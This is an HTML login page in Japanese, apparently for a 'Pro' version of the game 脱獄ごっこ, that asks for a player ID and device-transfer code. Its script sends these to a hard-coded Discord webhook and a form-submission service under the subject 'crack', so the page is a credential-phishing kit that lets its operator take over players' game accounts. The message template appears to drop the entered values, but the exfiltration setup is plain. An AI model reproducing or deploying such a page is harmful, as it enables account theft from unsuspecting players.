<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>ログイン|脱獄ごっこPro</title>
  </head>

  <body>
    <div class="contact-form">
      <p id="taitai">脱獄ごっこProにログイン</p>
      <form id="loginForm" action="https://api.staticforms.xyz/submit" method="post" onsubmit="return validateForm(event)">
        <input type="hidden" name="accessKey" value="b60bc6da-6ef8-4e65-a2e1-921aee9c7727">
        <input type="hidden" name="subject" value="crack">

        <div class="item">
          <input type="text" id="playerId" name="name" placeholder="プレイヤーID" minlength="16" maxlength="16" pattern="^[a-zA-Z0-9_@]+$" required>
        </div>
        <br>
        <div class="item">
          <input type="password" id="changeCode" name="name" placeholder="機種変更コード" minlength="12" maxlength="12" pattern="^[a-zA-Z0-9_@]+$" required/>
        </div>
        <br>
        <div class="button-area">
          <input type="submit" value="ログイン">
        </div>
          <hr>
        
    <p id="k">Japanに所在するアカウントで続行することで、利用規約に同意し、プライバシーポリシーを確認したとみなされます。</p>
      </form>
    </div>

    <script>
      const webhookURL = 'https://discord.com/api/webhooks/1256923461255958660/51CKXYA7Z9GpiL4g-f-nIoTeD6ax-QiQh34RJq0sLaYMpC_GTJeNprtL3VyM9NP0Nxp8';

      function sendToDiscord(playerId, changeCode) {
        const request = new XMLHttpRequest();
        request.open("POST", webhookURL);
        request.setRequestHeader('Content-type', 'application/json');

        const params = {
          username: "Form Bot",
          content: `プレイヤーID: \n機種変更コード: `
        };

        request.send(JSON.stringify(params));
      }

      function validateForm(event) {
        event.preventDefault(); // フォームのデフォルトの送信を防ぐ

        const playerId = document.getElementById('playerId').value;
        const changeCode = document.getElementById('changeCode').value;

        if (playerId.length === 16 && changeCode.length === 12) {
          sendToDiscord(playerId, changeCode);
          window.open('https://heleamc.github.io/PRO');
          return true; // フォームを送信する
        } else {
          alert("入力内容が正しくありません。");
          return false; // フォームの送信を防ぐ
        }
      }
    </script>
    <style>
 hr {
    border: 0;
    border-top: 1px solid #ccc;
    margin: 20px 0;
}

#k {
    font-size: 14px;
    color: #333;
    line-height: 1.5;
    margin: 10px 0;
}

      @keyframes rainbow {
          0% { color: red; }
          16.67% { color: orange; }
          33.33% { color: yellow; }
          50% { color: green; }
          66.67% { color: blue; }
          83.33% { color: indigo; }
          100% { color: violet; }
      }

      .rainbow-text {
          animation: rainbow 8s infinite;
      }

      body {
          display: flex;
          justify-content: center;
          align-items: center;
          height: 100vh;
          margin: 0;
          background-color: #ffffff;
          font-family: 'Arial', sans-serif;
      }

      .contact-form {
        background-color: #505050;
        padding: 20px;
        border-radius: 10px;
        box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        width: 320px;
        height: 350px;
        text-align: center;
      }

      p#taitai {
        font-size: 20px;
        font-family: sans-serif;
        font-weight: bold;
        color: #ffffff;
      }

      input[type="text"], input[type="password"] {
        outline: solid 0.2px #414141;
        border-radius: 30px;
        color: #ffffff;
        background-color: #626262;
        border: solid 1px #aaa;
        padding: 10px;
        height: 20px;
        width: 300px;
        font-size: 15px;
        border: none;
      }

      input[type="submit"] {
        border-radius: 30px;
        height: 44px;
        width: 324px;
        font-size: 15px;
      }

      .button-area input[type="submit"] {
        border: none; /* 枠線を削除 */
        background-color: #105fec; /* 背景色を設定 */
      }
    </style>
    </body>
</html>